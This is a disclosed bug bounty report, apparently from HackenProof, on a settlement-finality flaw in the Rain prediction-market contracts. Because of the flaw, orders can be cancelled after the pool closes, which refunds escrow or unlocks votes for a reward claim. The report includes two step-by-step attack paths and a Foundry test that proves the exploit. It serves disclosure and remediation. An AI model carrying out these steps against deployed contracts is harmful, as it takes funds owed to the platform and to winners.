Rain Disclosed Report

Settlement Finality Bypass via Post-Close Order Cancellation

Company
Created date
hidden

Target

https://github.com/hackenproof-public/rain-contracts

Vulnerability Details

Vulnerability Summary

_cancelBuyOrder() and _cancelSellOrder() lack post-pool-close guards, allowing participants to reclaim escrowed funds and unlock votes after the market winner is finalized. This violates the whitepaper's core "No Refund Policy" and breaks settlement finality, causing direct fund loss to the protocol and incorrect payout distributions.

Root Cause

Both functions validate only order existence but lack state guards for poolFinalized and winner:

function _cancelBuyOrder(...) private {
    if (orderBook[option][price][orderID].exists == false) {
        _revert(OrderDoesNotExist.selector);
    }
    // ⚠️ MISSING: if (poolFinalized || winner != 0) revert;
    
    IERC20(baseToken).safeTransfer(caller, orderAmount);
}

Vulnerability Details

Attack Path 1: Fund Refund Post-Close

  1. Buyer places unfilled buy order → funds escrowed: userAmountInEscrow[option][buyer] = 10,000 USDT
  2. Pool closes (closePool() called) → poolFinalized = true
  3. Winner chosen (chooseWinner(1) called) → winner = 1
  4. Buyer calls cancelBuyOrder() with no restrictions
  5. Order removed & 10,000 USDT transferred back despite settlement phase
  6. Impact: Pool loses funds destined for platform/liquidity/winners

Attack Path 2: Vote Unlock Post-Winner

  1. Seller places unfilled sell order → votes locked: userVotesInEscrow[1][seller] = 1,000
  2. Winner chosen (chooseWinner(1))
  3. Seller blocked from claim() due to: if (userVotesInEscrow[winner][msg.sender] > 0) revert
  4. Seller calls cancelSellOrder()userVotesInEscrow[1][seller] = 0votes unlocked
  5. Seller calls claim()now succeeds and claims reward
  6. Impact: Bypasses settlement preconditions, seller gets reward despite selling votes

Impact Assessment

Financial Impact

Stakeholder Loss Mechanism
Platform platformShare percentage lost
Liquidity liquidityShare allocated to fewer funds
Winners winningPoolShare diluted
Scale Per-market: Sum of all cancelled post-close orders

Validation steps

function test_CancelBuyOrder_PostClose_Refunds_BUG() external {
    // Setup: Buyer places unfilled buy order with 10K USDT
    vm.warp(block.timestamp + 5 minutes);
    address buyer = addr1;
    
    deal(address(baseToken), buyer, returnInEther(10_000));
    vm.startPrank(buyer);
    baseToken.approve(address(rainPoolPublic), returnInEther(10_000));
    uint256 buyOrderId = rainPoolPublic.placeBuyOrder(2, 1e16, returnInEther(10_000));
    vm.stopPrank();
    
    uint256 balBefore = baseToken.balanceOf(buyer);
    
    // Close pool and choose winner
    vm.warp(block.timestamp + 33 minutes);
    vm.prank(poolOwner);
    rainPoolPublic.closePool();
    vm.prank(resolverAI);
    rainPoolPublic.chooseWinner(1);
    
    // BUG: Cancel order AFTER pool closed - should revert but doesn't!
    vm.startPrank(buyer);
    uint256[] memory options = new uint256[](1);
    uint256[] memory prices = new uint256[](1);
    uint256[] memory orderIds = new uint256[](1);
    options[0] = 2;
    prices[0] = 1e16;
    orderIds[0] = buyOrderId;
    rainPoolPublic.cancelBuyOrders(options, prices, orderIds);
    vm.stopPrank();
    
    // PROOF: Buyer got refund after pool closed (violates "no refund policy")
    assertEq(
        baseToken.balanceOf(buyer),
        balBefore + returnInEther(10_000),
        "BUG: cancelBuyOrder allows post-close refund!"
    );
}

Attachments

hidden
CommentsReport History
Comments on this report are hidden
Details
State
hidden
Severity
Medium
Bounty$239
Visibilitypartially
VulnerabilityBlockchain
Participants
hidden